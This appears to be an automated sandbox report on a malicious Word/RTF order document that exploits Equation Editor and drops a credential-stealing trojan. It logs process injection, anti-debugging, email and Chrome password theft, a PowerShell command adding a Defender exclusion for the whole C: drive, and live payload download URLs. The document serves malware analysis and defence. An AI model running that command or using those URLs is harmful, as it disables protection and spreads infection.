Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Stalling execution: Execution stalls by calling Sleep

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1424	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe TID: 1936	Thread sleep count: 129 > 30
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe TID: 1936	Thread sleep time: -64500s >= -30000s
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe TID: 2648	Thread sleep count: 58 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2864	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\cmd.exe TID: 2296	Thread sleep count: 628 > 30
Source: C:\Windows\SysWOW64\cmd.exe TID: 2296	Thread sleep time: -7536000s >= -30000s

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cmd.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: OpenSCManagerW,EnumServicesStatusExW,EnumServicesStatusExW,GetLastError,CloseServiceHandle,OpenSCManagerW,lstrcmpW,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe

Window / User API: threadDelayed 628

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009B002B GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini

Source: EQNEDT32.EXE, 00000002.00000002.910734013.000000000070A000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000000.907228989.0000000000FE7000.00000008.00000001.01000000.00000004.sdmp, fiftikmernk852317.exe, 00000005.00000002.1180866900.0000000000FE7000.00000004.00000001.01000000.00000004.sdmp, fiftikmernk852317.exe, 00000005.00000002.1181749722.0000000004285000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.1180708241.0000000002B45000.00000004.00001000.00020000.00000000.sdmp, fiftikmernk852317.exe, 0000000A.00000000.1009097709.0000000000FE7000.00000008.00000001.01000000.00000004.sdmp, fiftikmernk852317.exe, 0000000A.00000002.1070424601.0000000000FE7000.00000004.00000001.01000000.00000004.sdmp, fiftikmernk852317.exe.2.dr, fifthikmerozx[1].exe.2.dr	Binary or memory string: .?AVCRegistryVirtualMachine@ATL@@
Source: powershell.exe, 00000006.00000002.988136023.00000000004D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: EQNEDT32.EXE, 00000002.00000002.910734013.000000000070A000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000002.1181749722.0000000004285000.00000004.00000800.00020000.00000000.sdmp, cmd.exe, 00000008.00000002.1180708241.0000000002B45000.00000004.00001000.00020000.00000000.sdmp, fiftikmernk852317.exe.2.dr, fifthikmerozx[1].exe.2.dr	Binary or memory string: @.?AVCRegistryVirtualMachine@ATL@@

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 6_2_01EF096A GetSystemInfo,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009A9DF6 GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009AFF27 FindFirstFileW,FindNextFileW,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009AFA42 LoadLibraryA,GetProcAddress,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009B094E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009B0619 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009B0620 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_0243028D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_0242FF58 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_0242FF5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_02420467 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_024384B1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 8_2_000B001A mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_00DD807F IsDebuggerPresent,OutputDebugStringW,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_00DD2520 GetProcessHeap,__Init_thread_footer,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_00DD8EDC SetUnhandledExceptionFilter,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_00DD8D4A IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_00DD87A1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Memory allocated: C:\Windows\SysWOW64\cmd.exe base: B0000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Memory allocated: C:\Windows\SysWOW64\cmd.exe base: C0000 protect: page read and write

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Thread created: C:\Windows\SysWOW64\cmd.exe EIP: B010E

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Memory written: C:\Windows\SysWOW64\cmd.exe base: B0000
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Memory written: C:\Windows\SysWOW64\cmd.exe base: C0000

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009B1FD8 RegSetValueExA,OpenProcess,GetCurrentProcessId,GetModuleFileNameA,VirtualAllocEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009A79E8 OpenProcess,VirtualAllocEx,VirtualProtectEx,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,CreateRemoteThread,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: RegSetValueExA,CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle, explorer.exe

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe C:\Users\user\AppData\Roaming\fiftikmernk852317.exe
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath C:\
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009AF56D AllocateAndInitializeSid,LookupAccountSidW,GetLastError,FreeSid,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009B18BA InitializeSecurityDescriptor,SetSecurityDescriptorDacl,RegCreateKeyExA,RegCloseKey,SetLastError,

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_00DD8F8B cpuid

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_00DD9284 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

Lowering of HIPS / PFW / Operating System Security Settings

Increases the number of concurrent connection per server for Internet Explorer

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Registry key created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings MaxConnectionsPerServer 10

Stealing of Sensitive Information

Contains functionality to steal e-mail passwords

Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: POP3 Password
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: SMTP Password
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: IMAP Password

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: \Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: \Chromium\User Data\Default\Login Data

Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fiftikmernk852317.exe PID: 912, type: MEMORYSTR

Remote Access Functionality

Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	1 Create Account	1 Access Token Manipulation	2 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	33 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Endpoint Denial of Service
Default Accounts	22 Exploitation for Client Execution	1 Windows Service	1 Windows Service	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 System Service Discovery	Remote Desktop Protocol	21 Input Capture	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	421 Process Injection	2 Obfuscated Files or Information	1 Credentials In Files	4 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	2 Service Execution	Logon Script (Mac)	Logon Script (Mac)	1 Software Packing	NTDS	25 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	3 Masquerading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	121 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	421 Process Injection	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Users	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
New Order ( MY 01-22-DTHI .doc	42%	Virustotal		Browse
New Order ( MY 01-22-DTHI .doc	43%	Metadefender		Browse
New Order ( MY 01-22-DTHI .doc	48%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
New Order ( MY 01-22-DTHI .doc	100%	Avira	HEUR/Rtf.Malformed

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	100%	Avira	TR/AD.MortyStealer.obmwc
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\fifthikmerozx[1].exe	100%	Avira	TR/AD.MortyStealer.obmwc
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{F633E147-4322-4DEF-8D52-47EC935B75D3}.tmp	100%	Avira	EXP/CVE-2018-0798.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\fifthikmerozx[1].exe	58%	ReversingLabs	Win32.Trojan.MortyStealer
C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	58%	ReversingLabs	Win32.Trojan.MortyStealer

Unpacked PE Files

Source	Detection	Scanner	Label	Download
5.2.fiftikmernk852317.exe.242053f.4.unpack	100%	Avira	TR/Patched.Ren.Gen3	Download File
5.2.fiftikmernk852317.exe.9a0000.0.unpack	100%	Avira	TR/Redcap.ghjpt	Download File
8.2.cmd.exe.2930000.0.unpack	100%	Avira	TR/Patched.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://208.67.105.179/fifthikmerozx.exej	100%	Avira URL Cloud	malware
76.8.53.133	10%	Virustotal		Browse
76.8.53.133	100%	Avira URL Cloud	malware
http://208.67.105.179/fifthikmerozx.exerrC:	100%	Avira URL Cloud	malware
http://208.67.105.179/fifthikmerozx.exe.	100%	Avira URL Cloud	malware
http://208.67.105.179/fifthikmerozx.exe	100%	Avira URL Cloud	malware
http://www.piriform.co	0%	Avira URL Cloud	safe
http://208.67.105.179/fifthikmerozx.exelateC:	100%	Avira URL Cloud	malware

